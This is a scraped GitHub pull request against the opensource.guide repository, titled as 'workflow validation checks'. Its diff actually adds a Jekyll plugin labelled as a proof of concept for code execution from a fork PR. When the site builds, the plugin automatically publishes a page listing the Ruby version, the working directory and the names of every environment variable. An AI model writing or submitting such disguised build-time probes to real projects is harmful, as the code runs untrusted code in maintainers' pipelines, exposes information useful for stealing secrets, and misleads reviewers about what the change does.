10000 test-2: add workflow validation checks by splint-disk-8i · Pull Request #3607 · github/opensource.guide · GitHub
[go: up one dir, main page]

Skip to content
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 27 additions & 0 deletions _plugins/marker_generator.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
module Jekyll
class MarkerGenerator < Generator
safe true
priority :lowest

def generate(site)
page = PageWithoutAFile.new(site, site.source, "", "marker.html")
page.content = <<~HTML
<html>
<body>
<h1>POC: Jekyll Plugin Code Execution</h1>
<p>this file was generated by a custom Jekyll plugin from a fork PR.</p>
<p>build time: #{Time.now.utc}</p>
<p>Ruby version: #{RUBY_VERSION}</p>
<p>working directory: #{Dir.pwd}</p>
<p>environment variables available (names only, no values):</p>
<ul>
#{ENV.keys.sort.map { |k| "<li>#{k}</li>" }.join("\n ")}
</ul>
</body>
</html>
HTML
page.data["layout"] = nil
site.pages << page
end
end
end
Loading
0